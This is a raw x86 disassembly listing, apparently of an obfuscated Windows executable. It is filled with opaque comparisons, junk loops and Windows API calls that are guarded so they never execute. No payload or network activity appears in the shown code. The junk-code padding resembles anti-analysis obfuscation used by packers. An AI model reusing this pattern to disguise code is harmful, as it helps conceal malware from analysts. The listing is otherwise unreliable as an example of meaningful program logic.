call fcn.0043097a
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x2fe8], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x2ce8], eax
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x3370], eax
cmp dword [ebp - 0x13c], 0xc0de
jge 0x47953f
mov dword [ebp - 0xff0], 1
jmp 0x479546
and dword [ebp - 0xff0], 0
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0xff0]
jle 0x479560
mov dword [ebp - 0x2304], 1
jmp 0x479567
and dword [ebp - 0x2304], 0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x2cf0], eax
cmp dword [ebp - 0x250], 0
jne 0x47958e
cmp dword [ebp - 0x250], 0
jne 0x47958e
and dword [ebp - 0xff8], 0
jmp 0x479598
mov dword [ebp - 0xff8], 1
mov eax, dword [ebp - 0xff8]
add eax, 0xc8fbfc7
imul eax, dword [ebp - 0x2650]
cmp eax, 0xd97867a7
je 0x4795c6
cmp dword [ebp - 0x13c], 0
je 0x4795c6
and dword [ebp - 0x1000], 0
mov eax, dword [ebp - 0x1000]
mov dword [ebp - 0x980], eax
cmp dword [ebp - 0x980], 7
ja 0x4795ee
mov dword [ebp - 0x2bf0], 0xffff
mov dword [ebp - 0x2bec], 0xffff
mov dword [ebp - 0x2be8], 0xffff
mov dword [ebp - 0x2be4], 0xffff
mov dword [ebp - 0x2dc0], 1
mov dword [ebp - 0x30a0], 0x7dd68876
mov dword [ebp - 0x2dc8], 0x948708ef
mov dword [ebp - 0x337c], 1
mov dword [ebp - 0x2dd0], 0x836b16b
mov dword [ebp - 0x30b0], 0
mov dword [ebp - 0x2dd8], 0x6f65e790
mov dword [ebp - 0x32b0], 0xaf7f
and dword [ebp - 0x29b8], 0
and dword [ebp - 0x29b4], 0
and dword [ebp - 0x29b0], 0
and dword [ebp - 0x29ac], 0
lea ecx, [ebp - 0xb39]
call fcn.004309a5
push eax
lea eax, [ebp - 0x29a8]
push eax
lea eax, [ebp - 0x29b8]
push eax
lea ecx, [ebp - 0x3530]
call fcn.004309a8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x31ec]
call fcn.00430954
mov dword [ebp - 0x1cc], 0
jmp 0x47ccc9
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 3
jge 0x47cce5
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x3608], 0x210e
jmp 0x47ccbc
mov dword [ebp - 0x1cc], 0
jmp 0x47ccfe
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 3
jge 0x47cd1a
mov eax, dword [ebp - 0x1cc]
mov dword [ebp + eax*4 - 0x35f0], 0x6e6a3735
jmp 0x47ccf1
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2bf0], 0xa8eac8b
push 3
lea ecx, [ebp - 0x31ec]
call fcn.00430996
mov dword [ebp - 0x1550], eax
mov eax, dword [ebp - 0x1550]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1550]
mov dword [ecx], eax
lea ecx, [ebp - 0x31ec]
call fcn.0043097a
mov dword [ebp - 0x464], 7
mov dword [ebp - 0x1578], 0xe283d1f0
mov dword [ebp - 0x26f4], 0xfffffffc
mov dword [ebp - 0x1d4], 0
jmp 0x47cd91
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 2
jge 0x47cdad
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x944], 0xfffffffe
jmp 0x47cd84
mov dword [ebp - 0x1d4], 0
jmp 0x47cdc6
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 1
jge 0x47cde2
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0x23f4], 0x123d4a1c
jmp 0x47cdb9
mov byte [ebp - 0x2b4], 0
movzx eax, byte [ebp - 0x2b4]
test eax, eax
je 0x47ce0d
push 0x11a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
cmp dword [ebp - 0x464], 0
je 0x47cf5a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x944], 0
je 0x47cf3b
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x944]
cmp dword [ebp + eax - 0x944], ecx
je 0x47ce56
mov dword [ebp - 0x23ec], 1
jmp 0x47ce5d
and dword [ebp - 0x23ec], 0
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x2de0], eax
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x30c0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x944]
mov dword [ebp - 0x2de8], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x944]
cmp dword [ebp + eax - 0x944], ecx
jne 0x47ceb0
mov dword [ebp - 0x1558], 1
jmp 0x47ceb7
and dword [ebp - 0x1558], 0
mov eax, dword [ebp - 0x464]
cmp dword [ebp - 0x1558], eax
jne 0x47ced1
mov dword [ebp - 0x2578], 1
jmp 0x47ced8
and dword [ebp - 0x2578], 0
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x33b4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x464]
cmp dword [ebp + eax - 0x944], ecx
jne 0x47cf05
mov dword [ebp - 0x1560], 1
jmp 0x47cf0c
and dword [ebp - 0x1560], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1560]
mov dword [ebp + eax - 0x23f4], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x944], 0
je 0x47cf3b
mov dword [ebp - 0x1568], 1
jmp 0x47cf42
and dword [ebp - 0x1568], 0
cmp dword [ebp - 0x1568], 0xef7d
jg 0x47cf5a
mov dword [ebp - 0x1570], 1
jmp 0x47cf61
and dword [ebp - 0x1570], 0
mov eax, dword [ebp - 0x1578]
cmp dword [ebp - 0x1570], eax
jge 0x47cf7b
mov dword [ebp - 0x1580], 1
jmp 0x47cf82
and dword [ebp - 0x1580], 0
mov eax, dword [ebp - 0x1578]
cmp dword [ebp - 0x1580], eax
jg 0x47cf9c
mov dword [ebp - 0x1588], 1
jmp 0x47cfa3
and dword [ebp - 0x1588], 0
mov eax, dword [ebp - 0x1588]
mov dword [ebp - 0x26f4], eax
mov dword [ebp - 0xc], 0x9dfc
push 3
lea ecx, [ebp - 0x2a4c]
call fcn.004308a8
push 2
lea ecx, [ebp - 0x20f8]
call fcn.004308a8
mov dword [ebp - 0x240c], 0x7bc41bbb
mov dword [ebp - 0x1dc], 0
jmp 0x47cff3
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 3
jge 0x47d015
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0x2a4c]
call fcn.00430996
mov dword [eax], 1
jmp 0x47cfe6
mov dword [ebp - 0x1dc], 0
jmp 0x47d02e
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 2
jge 0x47d050
push dword [ebp - 0x1dc]
lea ecx, [ebp - 0x20f8]
call fcn.00430996
mov dword [eax], 0xffff
jmp 0x47d021
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2df0], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x30d0], eax
cmp dword [ebp - 0xc], 0x7790660d
jl 0x47d077
mov dword [ebp - 0x1590], 1
jmp 0x47d07e
and dword [ebp - 0x1590], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x1590], eax
je 0x47d095
mov dword [ebp - 0x1598], 1
jmp 0x47d09c
and dword [ebp - 0x1598], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x1598], eax
jne 0x47d0b9
cmp dword [ebp - 0xc], 0
je 0x47d0b9
mov dword [ebp - 0x15a0], 1
jmp 0x47d0c0
and dword [ebp - 0x15a0], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x15a0], eax
jl 0x47d0d7
mov dword [ebp - 0x15a8], 1
jmp 0x47d0de
and dword [ebp - 0x15a8], 0
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x15a8]
cmp eax, dword [ebp - 0xc]
jle 0x47d0f8
mov dword [ebp - 0x15b0], 1
jmp 0x47d0ff
and dword [ebp - 0x15b0], 0
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x15b0]
cmp dword [ebp - 0xc], eax
jg 0x47d119
mov dword [ebp - 0x15b8], 1
jmp 0x47d120
and dword [ebp - 0x15b8], 0
mov eax, dword [ebp - 0x15b8]
add eax, 0x6b5a
mov dword [ebp - 0x15c0], eax
push 2
lea ecx, [ebp - 0x2a4c]
call fcn.00430996
mov ecx, dword [ebp - 0x15c0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x15c0], eax
jg 0x47d15d
mov dword [ebp - 0x15c8], 1
jmp 0x47d164
and dword [ebp - 0x15c8], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x15c8], eax
jl 0x47d17b
mov dword [ebp - 0x15d0], 1
jmp 0x47d182
and dword [ebp - 0x15d0], 0
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 0x15d0]
cmp eax, dword [ebp - 0xc]
jge 0x47d19d
mov dword [ebp - 0x2400], 1
jmp 0x47d1a4
and dword [ebp - 0x2400], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2df8], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x32b8], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2e00], eax
push 0
lea ecx, [ebp - 0x20f8]
call fcn.00430996
cmp dword [eax], 0x72327932
jne 0x47d1e0
mov dword [ebp - 0x15d8], 1
jmp 0x47d1e7
and dword [ebp - 0x15d8], 0
push 0
lea ecx, [ebp - 0x20f8]
call fcn.00430996
mov ecx, dword [ebp - 0x15d8]
cmp ecx, dword [eax]
jg 0x47d20a
mov dword [ebp - 0x15e0], 1
jmp 0x47d211
and dword [ebp - 0x15e0], 0
push 0
lea ecx, [ebp - 0x20f8]
call fcn.00430996
mov ecx, dword [ebp - 0x15e0]
cmp ecx, dword [eax]
je 0x47d234
mov dword [ebp - 0x2580], 1
jmp 0x47d23b
and dword [ebp - 0x2580], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x30e0], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
je 0x47d262
push 3
pop eax
test eax, eax
je 0x47d262
mov dword [ebp - 0x15e8], 1
jmp 0x47d269
and dword [ebp - 0x15e8], 0
push 1
lea ecx, [ebp - 0x20f8]
call fcn.00430996
mov ecx, dword [ebp - 0x15e8]
sub ecx, dword [eax]
mov dword [ebp - 0x240c], ecx
lea ecx, [ebp - 0x20f8]
call fcn.0043097a
lea ecx, [ebp - 0x2a4c]
call fcn.0043097a
mov dword [ebp - 0x2e08], 0x91a049fe
mov byte [ebp - 0x2b6], 0
movzx eax, byte [ebp - 0x2b6]
test eax, eax
je 0x47d2cc
push 0
push 0
push 0x2200
push 0x1d03
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
mov byte [ebp - 0x2b8], 0
movzx eax, byte [ebp - 0x2b8]
test eax, eax
je 0x47d2e4
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov dword [ebp - 0xc0], 0x7d8a8701
mov dword [ebp - 0x1608], 1
mov dword [ebp - 0x3384], 0xffffffff
cmp dword [ebp - 0xc0], 0
je 0x47d375
cmp dword [ebp - 0xc0], 0
jne 0x47d320
mov dword [ebp - 0x15f0], 1
jmp 0x47d327
and dword [ebp - 0x15f0], 0
mov eax, dword [ebp - 0xc0]
imul eax, dword [ebp - 0x15f0]
test eax, eax
jne 0x47d33f
cmp dword [ebp - 0xc0], 0
cmp dword [ebp - 0xc0], 0xfffffffe
jae 0x47d354
mov dword [ebp - 0x15f8], 1
jmp 0x47d35b
and dword [ebp - 0x15f8], 0
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x15f8], eax
jl 0x47d375
mov dword [ebp - 0x1600], 1
jmp 0x47d37c
and dword [ebp - 0x1600], 0
mov eax, dword [ebp - 0x1600]
mov dword [ebp - 0x1608], eax
mov eax, dword [ebp - 0x1608]
cmp dword [ebp - 0xc0], eax
je 0x47d3a2
mov dword [ebp - 0x1610], 1
jmp 0x47d3a9
and dword [ebp - 0x1610], 0
mov eax, dword [ebp - 0x1610]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xc0], 0xfffffffd
jmp 0x47d3ce
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x14
jge 0x47d3ee
mov dword [ebp - 0x26c4], 0
cmp dword [ebp - 0x26c4], 0
je 0x47d3ec
jmp 0x47d3ee
jmp 0x47d3c1
push 4
lea ecx, [ebp - 0x1f88]
call fcn.004308a8
push 2
lea ecx, [ebp - 0x31fc]
call fcn.004308a8
mov dword [ebp - 0x7d4], 0x4a18885c
mov dword [ebp - 0x7cc], 0
jmp 0x47d42b
mov eax, dword [ebp - 0x7cc]
inc eax
mov dword [ebp - 0x7cc], eax
cmp dword [ebp - 0x7cc], 2
jge 0x47d44d
push dword [ebp - 0x7cc]
lea ecx, [ebp - 0x31fc]
call fcn.00430996
mov dword [eax], 0x9b3198a8
jmp 0x47d41e
mov dword [ebp - 0x7d4], 0
jmp 0x47d466
mov eax, dword [ebp - 0x7d4]
inc eax
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 1
jg 0x47d4a3
mov byte [ebp - 0x2ba], 0
movzx eax, byte [ebp - 0x2ba]
test eax, eax
je 0x47d4a1
push 0
push 0x725
push 0x251f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
jmp 0x47d459
lea ecx, [ebp - 0x31fc]
call fcn.0043097a
push 1
lea ecx, [ebp - 0x2034]
call fcn.004308a8
mov dword [ebp - 0x2588], 0x292978d8
mov dword [ebp - 0x7dc], 0
jmp 0x47d4de
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 1
jge 0x47d500
push dword [ebp - 0x7dc]
lea ecx, [ebp - 0x2034]
call fcn.00430996
mov dword [eax], 0xf6af1124
jmp 0x47d4d1
push 0
lea ecx, [ebp - 0x2034]
call fcn.00430996
and dword [eax], 0
jmp 0x47d536
push 0
lea ecx, [ebp - 0x2034]
call fcn.00430996
mov dword [ebp - 0x1618], eax
mov eax, dword [ebp - 0x1618]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1618]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x2034]
call fcn.00430996
cmp dword [eax], 0xfffffff6
jg 0x47d750
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x2414], 0xfffffff9
mov dword [ebp - 0x1e4], 0
jmp 0x47d579
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 2
jge 0x47d595
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x2c0c], 0
jmp 0x47d56c
mov dword [ebp - 0x1e4], 0
jmp 0x47d5ae
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 4
jge 0x47d5ca
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x341c], 0xffffffff
jmp 0x47d5a1
mov dword [ebp - 0x46c], 0
jmp 0x47d5e3
mov eax, dword [ebp - 0x46c]
inc eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 1
jg 0x47d675
mov dword [ebp - 0x7e4], 0xe29ea414
mov dword [ebp - 0x7e4], 1
jmp 0x47d613
mov eax, dword [ebp - 0x7e4]
dec eax
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 0
jl 0x47d656
mov eax, dword [ebp - 0x46c]
cmp dword [ebp + eax*4 - 0x2c0c], 0
je 0x47d62e
jmp 0x47d656
mov byte [ebp - 0x2bc], 0
movzx eax, byte [ebp - 0x2bc]
test eax, eax
je 0x47d654
push 0x1804
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x47d606
mov byte [ebp - 0x2be], 0
movzx eax, byte [ebp - 0x2be]
test eax, eax
je 0x47d670
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
jmp 0x47d5d6
cmp dword [ebp - 0x2414], 0
jne 0x47d699
cmp dword [ebp - 0x46c], 0
jne 0x47d699
mov eax, 0x7367
test eax, eax
jne 0x47d699
and dword [ebp - 0x1628], 0
jmp 0x47d6a3
mov dword [ebp - 0x1628], 1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x341c], 0x2db7
mov eax, 0x2db7
test eax, eax
jne 0x47d6d6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x341c], 0
jne 0x47d6d6
and dword [ebp - 0x1620], 0
jmp 0x47d6e0
mov dword [ebp - 0x1620], 1
push 0
lea ecx, [ebp - 0x2034]
call fcn.00430996
mov ecx, dword [ebp - 0x1620]
cmp ecx, dword [eax]
je 0x47d703
mov dword [ebp - 0x1630], 1
jmp 0x47d70a
and dword [ebp - 0x1630], 0
push 0
lea ecx, [ebp - 0x2034]
call fcn.00430996
mov eax, dword [eax]
add eax, dword [ebp - 0x1628]
mov ecx, dword [ebp - 0x1630]
add ecx, 9
cmp eax, ecx
jne 0x47d738
mov dword [ebp - 0x1638], 1
jmp 0x47d73f
and dword [ebp - 0x1638], 0
mov eax, dword [ebp - 0x1638]
mov dword [ebp - 0x2588], eax
jmp 0x47d512
lea ecx, [ebp - 0x2034]
call fcn.0043097a
mov dword [ebp - 0x3c], 0
jmp 0x47d76b
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x47d781
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x7fc], 1
jmp 0x47d764
mov dword [ebp - 0x2158], 0xe8b7
mov dword [ebp - 0x1690], 6
mov dword [ebp - 0x2160], 0x55b7cefa
mov dword [ebp - 0xa38], 0xc196a162
mov dword [ebp - 0x1680], 1
mov dword [ebp - 0x2150], 0xc08872fa
mov dword [ebp - 0xa28], 0x4d0289a6
push 2
lea ecx, [ebp - 0x274c]
call fcn.004308a8
mov dword [ebp - 0x214c], 0x7374
mov dword [ebp - 0x1660], 0x14d2
mov dword [ebp - 0x1ec], 0
jmp 0x47d801
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 2
jge 0x47d820
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0x274c]
call fcn.00430996
or dword [eax], 0xffffffff
jmp 0x47d7f4
mov dword [ebp - 0x1ec], 0
jmp 0x47d839
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x47d855
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0xa30], 0x64b5c6f8
jmp 0x47d82c
mov eax, dword [ebp - 0x214c]
imul eax, dword [ebp - 0x2150]
cmp eax, dword [ebp - 0x1690]
je 0x47d876
mov dword [ebp - 0x1640], 1
jmp 0x47d87d
and dword [ebp - 0x1640], 0
cmp dword [ebp - 0x1640], 0x8af1
jge 0x47d895
mov dword [ebp - 0x1648], 1
jmp 0x47d89c
and dword [ebp - 0x1648], 0
cmp dword [ebp - 0x1648], 1
jae 0x47d8b1
mov dword [ebp - 0x1650], 1
jmp 0x47d8b8
and dword [ebp - 0x1650], 0
push 1
lea ecx, [ebp - 0x274c]
call fcn.00430996
mov ecx, dword [ebp - 0x1650]
imul ecx, dword [eax]
cmp ecx, dword [ebp - 0x2158]
jl 0x47d8e2
mov dword [ebp - 0x1658], 1
jmp 0x47d8e9
and dword [ebp - 0x1658], 0
mov eax, dword [ebp - 0xa28]
mov dword [ebp - 0xa28], eax
mov eax, dword [ebp - 0x1658]
mov dword [ebp - 0x1660], eax
mov eax, dword [ebp - 0x1660]
cmp dword [ebp - 0xa28], eax
jle 0x47d91b
mov dword [ebp - 0x1668], 1
jmp 0x47d922
and dword [ebp - 0x1668], 0
imul eax, dword [ebp - 0x1668], 0x41b4
cmp dword [ebp - 0xa38], eax
jge 0x47d940